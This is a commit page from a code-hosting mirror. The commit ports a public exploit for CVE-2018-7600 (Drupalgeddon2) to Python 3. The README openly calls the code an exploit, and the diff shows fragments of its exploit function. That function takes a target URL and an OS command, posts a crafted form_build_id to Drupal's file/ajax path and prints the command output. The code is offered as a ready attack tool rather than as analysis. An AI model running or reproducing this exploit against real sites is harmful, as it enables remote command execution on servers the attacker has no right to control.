JohnHammond
/
drupalgeddon2
mirror of https://github.com/JohnHammond/drupalgeddon2.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updating to run fine with Python3

master
John Hammond 2023-12-31 20:13:47 -05:00
parent 6f43311008
commit d7371964ee
2 changed files with 16 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
README.md
View File

@ -1,4 +1,16 @@
# drupalgeddon2 # drupalgeddon2
This is a duplicate of https://github.com/lorddemon/drupalgeddon2/
Just tweaked very slightly to work fine with `python3`.
That's it.
-----------------------------------------
Exploit for CVE-2018-7600. Exploit for CVE-2018-7600.
Usage: drupalgeddon2 options Usage: drupalgeddon2 options

9
drupalgeddon2.py
View File

@ -1,8 +1,6 @@
#!/usr/bin/python #!/usr/bin/python3
# coding: utf-8 # coding: utf-8
import requests import requests
import re import re
import sys import sys
@ -22,9 +20,10 @@ def exploit(url_target,os_command):
parametros = {'q':'file/ajax/name/#value/' + found} parametros = {'q':'file/ajax/name/#value/' + found}
datos = {'form_build_id':found} datos = {'form_build_id':found}
r = requests.post(url_target, data=datos, params=parametros) r = requests.post(url_target, data=datos, params=parametros)
r.encoding = 'ISO-8859-1' r.encoding = 'ISO-8859-1'
salida = r.content.split("[{") salida = r.content.split(b"[{")
print salida[0] print(salida[0].decode('ISO-8859-1'))
def usage(): def usage():
comm = os.path.basename(sys.argv[0]) comm = os.path.basename(sys.argv[0])